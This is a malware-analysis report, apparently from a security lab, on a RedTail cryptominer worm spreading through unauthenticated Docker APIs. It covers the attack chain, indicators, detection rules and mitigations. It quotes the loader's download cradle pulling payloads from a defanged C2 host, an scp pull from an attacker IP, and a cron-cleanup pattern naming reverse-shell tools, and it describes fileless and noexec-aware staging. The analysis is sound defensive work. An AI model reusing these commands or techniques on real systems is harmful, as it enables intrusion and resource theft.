malware · cryptomining · redtail · docker · linux · honeypot · worm
Inside a RedTail Campaign: Self-Propagation Through Exposed Docker APIs
Kinryū Labs honeypots caught the RedTail cryptominer spreading through unauthenticated Docker Engine APIs and dropped SSH keys. This writeup documents a current, fully captured instance, with the loader, the competitor-removal script, the miner, and live indicators.
By Davis Zheng·
TLP:CLEAR. Cleared for public release. Captured by the Kinryū Labs honeypot sensor network. Indicators below are defanged.
Executive summary
- 2375exposed Docker API, the way in
- 4CPU architectures targeted
- ~21sfull break-in logged on our honeypot
- wormableSSH client built into the miner
In early to mid-June 2026 our honeypot network caught a worm that spreads through internet-exposed Docker Engine APIs on TCP/2375 and drops RedTail, an XMRig-based Monero miner that has been around since late 2023. The actor lists the running containers through the open Docker API, runs commands inside each one, drops an SSH private key for persistence and lateral movement, then pulls down a multi-architecture loader. The loader installs a miner that ships its own SSH client for spreading and a libpcap sniffer for finding new targets.
The payload is unmistakably RedTail. RedTail is best known for arriving through web app exploits (PAN-OS, Ivanti, Log4Shell, PHP-CGI, TP-Link), and its use of exposed Docker APIs has prior reporting too. This writeup adds a current, fully captured instance of that Docker-API delivery: the live C2 and indicators, the SSH-key drop that lets the host self-replicate, and the competitor-removal script that earlier writeups pointed at without recovering. We track the self-replication logic internally as docker.selfrep.
The miner carries an encrypted runtime config and no embedded wallet, so we cannot pull a Monero address out of the sample. Recovering it needs a live detonation with network capture.
- The payload is RedTail (high confidence). The
libredtail evbuffer_tlsstring, the.redtailartifact, theredtailfallback in the loader, and the encrypted-config / no-wallet build all line up with the family's post-2024 versions. - The campaign is wormable (high confidence). The Docker-API tooling, the dropped key, and the miner's built-in SSH client are everything a freshly infected host needs to go find the next victim on its own.
- The operator is in it for the money (moderate confidence). The credential theft and sniffing look like they serve spreading rather than a separate data-theft goal.
- The Docker-API vector has prior reporting for RedTail and still works well. A single exposed socket on TCP/2375 gives the actor code execution as root inside every container on the host.
Attack chain
[0] Reconnaissance Internet scan for exposed Docker API :2375
│
[1] Initial Access Unauthenticated Docker API → enumerate containers
│ (T1190 Exploit Public-Facing Application)
│
[2] Execution docker exec into every running container
│ (T1609 Container Administration Command)
│
[3] Persistence / Drop ed25519 key "dlr@sftp" into container ~/.ssh
Lateral prep (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)
│
[4] Ingress (Stage 2) Pull loader: scp [email protected][.]113:sh (primary)
│ hxxps://14.46.136[.]77/sh (fallback)
│ (T1105 Ingress Tool Transfer)
│
[5] Defense Evasion Loader: find noexec mounts → avoid them; hidden ".<random>"
│ filename; run/discard "clean" competitor-removal
│
[6] Ingress (Stage 3) Loader pulls arch ELF (x86_64/i686/aarch64/arm7) from C2
│
[7] Execution memfd_create → fileless launch of RedTail miner
│ (T1620 Reflective Code Loading)
│
[8] Impact XMRig Monero mining (T1496 Resource Hijacking)
+ Credential Access libpcap sniffing + ssh-agent/key theft (T1040 / T1552.004)
+ Lateral Movement Embedded SSH client spreads to discovered hosts (T1021.004)
Stage 1: initial access via the Docker API
The actor goes after Docker Engine instances that expose the unauthenticated REST API on TCP/2375. Our Docker-API honeypot emulates a real engine, and it logged the whole sequence inside about 21 seconds:
GET /versionandGET /containers/jsonto fingerprint the engine and list containers.POST /containers/{id}/execthenPOST /exec/{id}/startagainst every running container.- An in-container shell payload that writes the attacker’s SSH key and fetches the loader.
That last step is what turns this from a one-off miner into a worm. A host that gets infected and happens to expose its own Docker API will run the same list-and-exec routine against the next set of victims. We call that logic docker.selfrep.
Dropped SSH key (persistence and lateral movement)
| Attribute | Value |
|---|---|
| Type | OpenSSH ed25519 private key |
| Comment | dlr@sftp |
| Public-key SHA256 fingerprint | SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg |
| Pull source (SCP channel) | [email protected][.]113 |
We are not publishing the private key. Use the fingerprint above to hunt for it: check
authorized_keysand~/.sshacross your estate.
Stage 2: the /sh loader
SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf
MD5: 0df4fe0f1e3e8b0941f0d1442f132700
Type: POSIX shell script
A small, portable loader, and a careful one.
Random hidden filename. get_random_string() puts together a 4 to 35 character alphanumeric name, trying /dev/urandom, then openssl, then $RANDOM, and falling back to the literal string redtail if all of those fail. That fallback is a handy family tell. The miner lands as .<random> with a leading dot to keep it out of a plain ls. VirusTotal has this sample under one of those names, .mn6VTucEsFZY1PdSC2QAq.
Download helper. dlr() turns off TLS verification, since the C2 is self-signed, and falls back from wget to curl:
dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
|| curl -skO hxxps://14.46.136[.]77/$1 ; }
noexec-aware staging. The loader reads /proc/mounts, throws out every noexec mount, and runs find / -user $(whoami) -perm -u=rwx to find somewhere it can both write and execute. It write-tests each candidate with a 2 MB dd or truncate before using it. Most loaders just write to /tmp and move on. This one puts in the work to land somewhere it knows it can execute.
Competitor cleanup. It pulls and runs clean (dlr clean; chmod +x clean; sh clean; rm -rf clean), then removes it. We grabbed that script too and break it down below. It goes after rival persistence and staging, leaving running processes alone.
Tidying up. It removes .redtail and the previous .<random> file before installing the new one.
Architecture pick. A uname -mp switch chooses the build:
| ARCH match | Downloads |
|---|---|
x86_64 / amd64 | x86_64 |
i[3456]86 | i686 |
armv8 / aarch64 | aarch64 |
armv7 | arm7 |
| unknown | brute-forces all four, runs each |
Run. ./.<random> $1, passing along the loader’s original $1, which RedTail treats as a campaign or vector tag.
The clean competitor-removal script
SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
MD5: 397ff5e54194072e6d8a44a0d8cc1b27
Type: Bash script (795 bytes)
We captured clean in a later hit on the honeypots. It leaves running processes alone. Its whole job is to clear other malware off the box so RedTail has it to itself:
-
Cron cleanup. For every user crontab (
/var/spool/cron/crontabs/*), system crontab (/etc/crontab,/etc/crontabs), drop-in directory (/etc/cron.{hourly,daily,weekly,monthly,d}), and/etc/anacrontab, it strips the immutable bit withchattr -ia(rival malware sets that to protect its own cron lines) and then deletes any line that matches a re-infection pattern:wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -dThat pulls out other crews’ download cradles and reverse shells while leaving the legitimate cron entries alone.
-
Killing a named rival. It disables and stops the
c3pool_minersystemd service, a direct shot at the c3pool miner. -
Wiping staging. It empties
/tmp,/var/tmp, and/dev/shmwithrm -rf, clearing out competitor payloads and the scratch space they share.
Hitting persistence and staging is the quieter play. It survives a reboot, where leftover cron entries would otherwise reinfect the host, and it avoids the noise of mass process kills.
Stage 3: the RedTail miner (x86_64)
SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5
MD5: aaa5098c9caafccf15362b017825c64b
Size: 1,880,264 bytes (1.79 MB)
Format: ELF 64-bit LSB EXEC (statically linked, non-PIE), x86-64, entry 0xaa9e18
Packer: UPX 5.02 ($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team)
VirusTotal: 36/62 malicious, community score −60, first seen ~2026-06-05
Threat labels: trojan.usblem26/abminer; families usblem26 / abminer / gen3
Packing and anti-analysis
- UPX 5.02 with the header intact.
upx -dunpacks it cleanly to a roughly 5 MB statically linked ELF. - Fileless execution. VirusTotal’s code insights show it using
memfd_create(syscall0x13f) to run the payload straight out of an anonymous memory file descriptor, with/proc/self/exere-execution and/dev/shmstaging. Nothing touches disk, so disk-based AV never gets a look. - Process-name spoofing (
sets-process-name) so it blends in with normal processes. - Debugger evasion (
detect-debug-environment). Public RedTail writeups describeptraceself-debugging and the binary actively killing GDB. - A note on host AV. Microsoft Defender flags the packed ELF as
Trojan:Linux/Multiverze!rfnand blocks it from being read off disk, so static triage has to happen in an isolated box or in memory.
Confirmed components (from unpacked .rodata strings)
XMRig mining core
randomx/0 cryptonight-monerov7 cryptonight-monerov8
XMRIG_VERSION donate-level donate-over-proxy pool address
stratum+tcp:// stratum+ssl://
/var/build/xmrig/scripts/build/ (hwloc-2.12.2, abseil-cpp)
libredtail, the family-defining networking stack
libredtail evbuffer_tls
Connection keepalive User-Agent
A custom libevent plus TLS HTTP client. The libredtail evbuffer_tls string is what separates RedTail from a stock XMRig build.
Embedded SSH client (lateral movement and credential theft)
ssh-userauth ssh-ed25519 [email protected]
[email protected] [email protected]
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"
The miner carries a complete SSH client. That is the engine behind the dlr@sftp key drop and the spreading. The miner binary handles its own credential theft and SSH propagation. None of that lives in the dropper.
Embedded libpcap (network sniffing)
"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"
On-host packet capture, which fits local discovery of hosts and credentials.
Encoding tables. Both the standard and URL-safe Base64 alphabets show up (...+/ and ...-_), used by the config decode routine.
Configuration and the attribution gap
We searched the unpacked binary hard for IPs, URLs, stratum, pool, and Monero address patterns. The only pools in there are XMRig’s built-in developer-donation pools (donate.ssl.xmrig.com, donate.v2.xmrig.com), which every XMRig build carries and which the operator does not control. There is no attacker pool, proxy, or wallet in plaintext.
That is deliberate, and it matches where RedTail has gone since 2024. The mining config is encrypted and only decrypted in memory at runtime, and recent builds carry no wallet at all, pointing at a private pool or pool-proxy instead. So:
- We cannot get a Monero wallet out of this sample.
- The pool-proxy only comes out of a live detonation with a network sink (see methodology).
Attribution
This is RedTail, also known as the .redtail miner, an XMRig-derived Monero miner first written up around late 2023 and early 2024. What lines up:
- The
libredtail evbuffer_tlsstring, which is unique to it. - The
.redtailartifact and theredtailfallback in the loader. - The encrypted-config / no-wallet build, the multi-arch loader, the
cleancompetitor script, and the SSH credential theft, all of which are known RedTail traits.
For comparison, the delivery vectors already on record for the family are CVE-2024-3400 (PAN-OS), CVE-2023-46805 and CVE-2024-21887 (Ivanti), CVE-2021-44228 (Log4Shell), CVE-2024-4577 (PHP-CGI), and CVE-2023-1389 (TP-Link). VirusTotal also tags this sample with CVE-2021-41773 (Apache 2.4.49/2.4.50 path traversal to RCE) and CVE-2015-2808 (RC4, “Bar Mitzvah”).
RedTail’s use of exposed Docker APIs has prior reporting, so the vector itself is old. This report adds a current capture of it: the live C2 and payload hashes, the recovered clean script, and the dropped-key self-replication detail.
Outlook
Cryptojacking crews change how they break in far more often than they change the payload, and RedTail’s modular loader makes it easy to swap one entry method for another. Exposed Docker sockets sit right in that wheelhouse. A lot of opportunistic Linux activity has drifted toward cloud-native misconfigurations, and one open Docker API hands the attacker root inside every container on the box. RedTail has been here before, and the steady supply of internet-exposed 2375 keeps it worthwhile.
We think it is likely the operator keeps the Docker-API vector alongside the web exploits rather than swapping one for the other, which just gives them more reachable hosts. If you run containers, treat an exposed Docker API as if it were sitting on the public internet, because it effectively is.
Indicators of compromise
Network
| Indicator | Context |
|---|---|
14.46.136[.]77 | C2 / payload host (HTTPS, self-signed). Serves /sh, /clean, /x86_64, /i686, /aarch64, /arm7. ASN-filters cloud egress. |
hxxps://14.46.136[.]77/sh | Stage 2 loader URL |
hxxps://14.46.136[.]77/clean | Competitor-removal script (cron / staging purge) |
217.60.195[.]113 | SCP key / payload source ([email protected][.]113) |
Files (SHA256 / MD5)
| File | SHA256 | MD5 |
|---|---|---|
sh (loader) | 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf | 0df4fe0f1e3e8b0941f0d1442f132700 |
clean (competitor purge) | d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e | 397ff5e54194072e6d8a44a0d8cc1b27 |
x86_64 (miner) | 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 | aaa5098c9caafccf15362b017825c64b |
Host artifacts
| Indicator | Context |
|---|---|
.redtail | Miner artifact / prior-infection marker |
.<random alnum> e.g. .mn6VTucEsFZY1PdSC2QAq | Hidden miner filename (leading dot + random) |
SSH key comment dlr@sftp | Dropped key |
Pubkey FP SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg | Dropped key fingerprint; hunt in authorized_keys |
Files staged in /dev/shm, /var/tmp, /tmp, or any user-writable rwx dir | Staging locations |
Behavioural
memfd_create(syscall0x13f) executing an ELF from an anonymous file descriptor.- A process reading
/proc/mountsthen runningfind / -perm -u=rwx(noexec-aware staging). - Process-name spoofing;
ptrace-based debugger evasion. - Outbound
stratum+tcp:///stratum+ssl://to a non-standard host. systemctl disable c3pool_minerandsystemctl stop c3pool_miner(competitor eviction).chattr -iaagainst crontab paths immediately followed by mass deletion ofwget/curl/ reverse-shell lines from cron.rm -rfof/tmp/*,/var/tmp/*, and/dev/shm/*(competitor staging wipe).
Detection
Host detection (process / EDR logic)
Alert on a process that, in sequence:
- reads
/proc/mounts, then runsfind / ... -perm -u=rwx ..., and - writes a leading-dot, random-named file to a world-writable directory, and
- calls
memfd_createfollowed by execution from the resulting file descriptor.
Any one of these on its own is weak. The three together are a strong signal for this loader.
Candidate YARA (unpacked binary)
rule RedTail_Miner_libredtail
{
meta:
description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
reference = "Kinryu Labs CTI 2026-06-12"
hash = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
strings:
$rt = "libredtail evbuffer_tls" ascii
$xm1 = "randomx/0" ascii
$xm2 = "stratum+ssl://" ascii
$ssh = "[email protected]" ascii
condition:
uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}
This rule matches the UPX-unpacked binary. For the packed sample, pivot on the UPX signature, the file size (~1.79 MB), and the VirusTotal hashes above.
Network detection
- Block and alert on outbound traffic to
14.46.136[.]77and217.60.195[.]113. - Alert on
stratum+tcp/stratum+sslto any non-allowlisted destination. - Alert on HTTP(S) GET of single-letter or arch-named paths (
/sh,/x86_64,/aarch64,/arm7).
Mitigation
- Do not expose the Docker API (2375/2376) to untrusted networks. Bind it to localhost or a protected socket and require TLS client-certificate auth. That one control breaks the initial-access step outright.
- Audit
~/.ssh/authorized_keysacross the estate for thedlr@sftpkey and its fingerprint. - Egress-filter and monitor for stratum traffic and the C2 IPs above.
- Mount
/tmp,/var/tmp, and/dev/shmwithnoexecwhere you can. It raises the bar, though this loader is noexec-aware and will go looking for another writable, executable directory. - Harden containers: drop capabilities you do not need, use read-only root filesystems, and run least-privilege so that an
exec-in does not hand the attacker a usable execution environment.
MITRE ATT&CK mapping
| Tactic | Technique |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application (Docker API) |
| Execution | T1609 Container Administration Command; T1059.004 Unix Shell |
| Persistence | T1098.004 SSH Authorized Keys |
| Defense Evasion | T1027.002 Software Packing (UPX); T1620 Reflective / Memory Code Loading (memfd_create); T1564.001 Hidden Files; T1036.004 Masquerade Task or Process Name; T1622 Debugger Evasion; T1070.004 File Deletion |
| Credential Access | T1552.004 Private Keys; T1040 Network Sniffing |
| Discovery | T1046 Network Service Scanning; T1082 System Information Discovery; T1057 Process Discovery; T1018 Remote System Discovery |
| Lateral Movement | T1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer |
| Command and Control | T1071.001 Web Protocols; T1573 Encrypted Channel; T1105 Ingress Tool Transfer |
| Impact | T1496 Resource Hijacking (cryptomining) |
Methodology and analyst notes
- We pulled Stage 2 and Stage 3 off the live C2 over HTTPS.
14.46.136[.]77times out for cloud IPs (we tried from AWS/EC2) but serves residential and commodity IPs fine, which is an ASN or geo egress filter that breaks automated cloud sandboxes. - The packed ELF sets off Microsoft Defender (
Trojan:Linux/Multiverze!rfn) and cannot even be read off disk on a protected Windows host, so the first triage happened in memory, unpacking the archive inside a Python process without ever writing the raw ELF out. - Unpacking was done with
upx -din an isolated FLARE-VM. We analysed the unpacked binary statically, by strings and structure, without running it. - We did not run the miner, so the runtime-decrypted pool-proxy and Monero config are not in this report.
- We recovered the attacker’s private key from the capture and are not publishing it. Only the public-key fingerprint (above) is in the indicators, which is what defenders need to hunt the dropped
dlr@sftpkey inauthorized_keys.
Recommended follow-up (to obtain the pool-proxy indicator)
To get the pool-proxy, detonate the unpacked binary on an isolated Linux box (REMnux works) with:
- a network sink (INetSim, or
fakednsplus a TCP catch-all) to draw out the connection, tcpdump -i any -w redtail.pcapto catch the stratum CONNECT and login, andstrace -fto grab the plaintext config the miner decrypts right before its firstconnect(), which is often readable even when TLS hides it on the wire.
That host and port are the last indicator still outstanding for this campaign.
Samples
Samples (the loader, the clean script, and the packed miner) are available to other researchers and defenders on request. Email [email protected] with a short note on who you are and what you need them for.